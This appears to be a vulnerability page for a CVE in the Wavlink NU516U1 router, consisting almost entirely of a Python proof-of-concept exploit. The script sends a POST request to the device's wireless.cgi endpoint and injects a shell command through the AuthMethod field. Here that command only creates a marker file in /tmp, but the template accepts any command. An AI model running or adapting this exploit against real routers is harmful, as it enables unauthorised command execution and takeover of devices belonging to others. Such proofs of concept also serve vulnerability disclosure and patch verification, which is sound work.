CVE-2026-8229 Wavlink NU516U1 OS命令注入漏洞

import requests # Target URL url = "http://target-ip/cgi-bin/wireless.cgi" # Construct payload # Injecting a command to create a test file or ping payload_data = { "AuthMethod": "WPA2PSK; touch /tmp/poc_success;", # Injection point "EncrypType": "AES" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending malicious request response = requests.post(url, data=payload_data, headers=headers, timeout=10) # Check if command execution was likely successful # Note: Blind injection might require verification via other means if response.status_code == 200: print("[+] Payload sent successfully to target.") print("[+] Check if the command was executed on the target device.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")